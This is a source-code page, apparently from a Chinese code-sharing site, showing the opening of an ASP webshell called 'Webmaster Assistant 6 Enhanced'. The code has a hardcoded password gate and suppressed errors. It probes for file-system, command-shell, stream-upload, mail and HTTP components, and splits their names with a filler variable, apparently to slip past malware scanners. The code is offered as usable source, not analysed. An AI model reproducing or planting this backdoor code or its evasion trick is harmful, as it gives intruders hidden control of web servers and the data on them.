原始碼|站長|原始碼|站長 <%
Server.ScriptTimeout=50000
Response.Buffer = True
On Error Resume Next
ApplicationName = "站長助手6 增強版"
UserPass = "123456" '登陸密碼
URL = Request.ServerVariables("URL")
ServerIP = Request.ServerVariables("LOCAL_ADDR")
Action = Request("Action")
RootPath = Server.MapPath(".")
WWWRoot = Server.MapPath("/")
FolderPath = Request("FolderPath")
FName = Request("FName")
BackUrl = "<meta http-equiv='refresh' content='2;URL=?Action=ShowFile'>"
If Session("webadmin")<>UserPass Then
If Request.Form("Pass")<>"" Then
If Request.Form("Pass")=UserPass Then
Session("webadmin")=UserPass
Response.Redirect URL
Else
response.write"驗證失敗！"
End If
Else
SI="<center style='font-size:12px'><br><br>歡迎使用ASP站長助手<br><br>"
SI=SI&"<form action='"&URL&"' method='post'>"
SI=SI&"密碼：<input name='Pass' type='password' size='15'>"
SI=SI&" <input type='submit' value='登入'></form></center>"
Response.Write SI
End If
Response.End
End If
sub ShowErr()
If Err Then
Response.Write"<br><a href='javascript:history.back()'><br> " & Err.Description & "</a><br>"
Err.Clear:Response.Flush
End If
end sub
Dim ObT(13,2)
ObT(0,0) = "Sc"&DEfd&"rip"&DEfd&"ting"&DEfd&".F"&DEfd&"ileS"&DEfd&"yste"&DEfd&"mObj"&DEfd&"ect"
ObT(0,2) = "檔案操作組件"
ObT(1,0) = "w"&DEfd&"sc"&DEfd&"ri"&DEfd&"pt.s"&DEfd&"he"&DEfd&"ll"
ObT(1,2) = "命令列動作項目"
ObT(2,0) = "ADOX.Catalog"
ObT(2,2) = "ACCESS建庫組件"
ObT(3,0) = "JRO.JetEngine"
ObT(3,2) = "ACCESS壓縮組件"
ObT(4,0) = "Scrip"&DEfd&"ting"&DEfd&".D"&DEfd&"icti"&DEfd&"onary"
ObT(4,2) = "資料流上傳輔助組件"
ObT(5,0) = "Adodb.connection"
ObT(5,2) = "資料庫連接組件"
ObT(6,0) = "Ado"&DEfd&"d"&DEfd&"b"&DEfd&".S"&DEfd&"tre"&DEfd&"am"
ObT(6,2) = "資料流上傳組件"
ObT(7,0) = "SoftArtisans.FileUp"
ObT(7,2) = "SA-FileUp 檔案上傳組件"
ObT(8,0) = "LyfUpload.UploadFile"
ObT(8,2) = "劉雲峰檔案上傳組件"
ObT(9,0) = "Persits.Upload.1"
ObT(9,2) = "ASPUpload 檔案上傳組件"
ObT(10,0) = "JMail.SmtpMail"
ObT(10,2) = "JMail 郵件收發組件"
ObT(11,0) = "CDONTS.NewMail"
ObT(11,2) = "虛擬SMTP發信組件"
ObT(12,0) = "SmtpMail.SmtpMail.1"
ObT(12,2) = "SmtpMail發信組件"
ObT(13,0) = "Microsoft.XMLHTTP"
ObT(13,2) = "資料轉送組件"
For i=0 To 13
Set T=Server.CreateObject(ObT(i,0))
If -2147221005 <> Err Then
IsObj=True
Else
IsObj=false
Err.Clear
End If
Set T=Nothing
ObT(i,1)=IsObj
Next
Function RePath(S)
RePath=Replace(S,"\","\\")
End Function
[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] 下一頁 >>
